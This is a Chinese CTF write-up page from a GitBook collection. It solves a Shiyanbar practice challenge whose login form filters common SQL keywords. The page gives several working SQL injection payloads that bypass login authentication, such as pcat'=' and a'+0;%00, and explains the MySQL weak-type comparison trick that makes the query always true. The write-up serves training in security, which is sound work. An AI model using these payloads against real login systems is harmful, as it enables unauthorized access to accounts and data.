CTF
  • Introduction
  • IDF 实验室
    • 牛刀小试
      • 被改错的密码
      • ASCII 码而已
      • 聪明的小羊
      • 摩斯密码
      • 啥?
    • CRYPTO 百密一疏
      • 笨笨的小猪
      • 凯撒加密
      • 孔子的学费
      • 特殊的日子
      • 伟人的名字
    • WEB天罗地网
      • COOKIE欺骗
      • 不难不易的js加密
      • 超简单的js题
      • 古老的邮件编码
      • 简单的js解密
      • 你关注最新的漏洞吗
      • 一种编码而已
    • STEGA万里寻踪
      • 图片里的秘密
      • 上帝也哭泣
      • 红与黑
    • PPC初探乾坤
      • 简单编程-字符统计
      • Fuck your brain
      • 谁是卧底
    • REVERSE倒行逆施
      • 简单的PE文件逆向
      • 简单的ELF逆向
      • python ByteCode
    • MISC包罗万象
      • 图片里的英语
      • 抓到一只苍蝇
  • 实验吧
    • WEB
      • 登陆一下好吗??
      • 注入
      • 简单的sql注入
      • Forms
Powered by GitBook
On this page
  • 题目
  • write up
  • 答案一
  • 答案二

Was this helpful?

  1. 实验吧
  2. WEB

登陆一下好吗??

PreviousWEBNext注入

Last updated 5 years ago

Was this helpful?

题目

不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈! flag格式:ctf{xxxx}

解题链接:

write up

看了各个 writeup,总共有 2 种答案

答案一

post 提交

username=a’+0;%00&password=

核心思想是:一个字符串类型的,当他接受到一个整型值切值为 0 的时候,就会返回数据库的所有条目。一个字符串加一个整形,会自动的变量类型转换,变为一个整型。

核心思想2:mysql的注释符除了 – + , # ,/**/ 之外,还有一个 ;%00

原理解释:

答案二

username=    1’=’0
password=    1’=’0
# 或者
username=    what’=’
password=    what’=’
# 或者
username=    admin’=’
password=    admin’=’

核心思想:

这是有2个等号,然后计算顺序从左到右,
先计算username='pcat' 一般数据库里不可能有我这个小名(若有,你就换一个字符串),所以这里返回值为0(相当于false)
然后0='' 这个结果呢?看到这里估计你也懂了,就是返回1(相当于true)

原理解释:【登陆一下好吗?? by pcat】

这题我看到的时间比较晚,评论区有人说过滤了/ # -- select or union |等
反正不管,我先按常规试试
username=admin'--&password='or''='
回显:
对不起,没有此用户!!
hint:
username:admin'
password:'''='

这时候--和or被过滤看起来好可怕,但是单引号'没被过滤就是最幸福的事儿了(虽然有可能是经过转义的,但题目中说只是过滤,没说转义,( # ▽ # ))
这时候其实只要帐号和密码都上万能密码,啥都搞定,看似被过滤了n多n多,但却是最容易注入进去的。

来一个过法:)
username=pcat'='&password=pcat'='

flag立马就拿到,为何能过呢?很多人就疑问了?没有or也能万能注入?
解析过程看下面
- - - - - - - - - - - -
假设sql语句如下
select * from user where username='用户名' and password='密码'

当提交username=pcat'='&password=pcat'='
语句会变成如下:
select * from user where username='pcat'='' and password='pcat'=''
这时候还不够清晰,我提取前一段判断出来(后面的同样道理)
username='pcat'=''
这是有2个等号,然后计算顺序从左到右,
先计算username='pcat' 一般数据库里不可能有我这个小名(若有,你就换一个字符串),所以这里返回值为0(相当于false)
然后0='' 这个结果呢?看到这里估计你也懂了,就是返回1(相当于true)

所以这样的注入相当于
select * from user where 1 and 1
也等于 select * from user
(这题只有筛选出来的结果有3个以上才会显示flag,没有就一直说“对不起,没有此用户!!”)

好了,继续唠叨几句,上面那个比较是弱类型的比较,
以下情况都会为true
1='1'
1='1.0'
1='1后接字母(再后面有数字也可以)'
0='除了非0数字开头的字符串'
(总体上只要前面达成0的话,要使语句为true很简单,所以这题的万能密码只要按照我上面的法子去写一大把)
http://ctf5.shiyanbar.com/web/wonderkun/web/index.html
http://blog.csdn.net/yalecaltech/article/details/63685280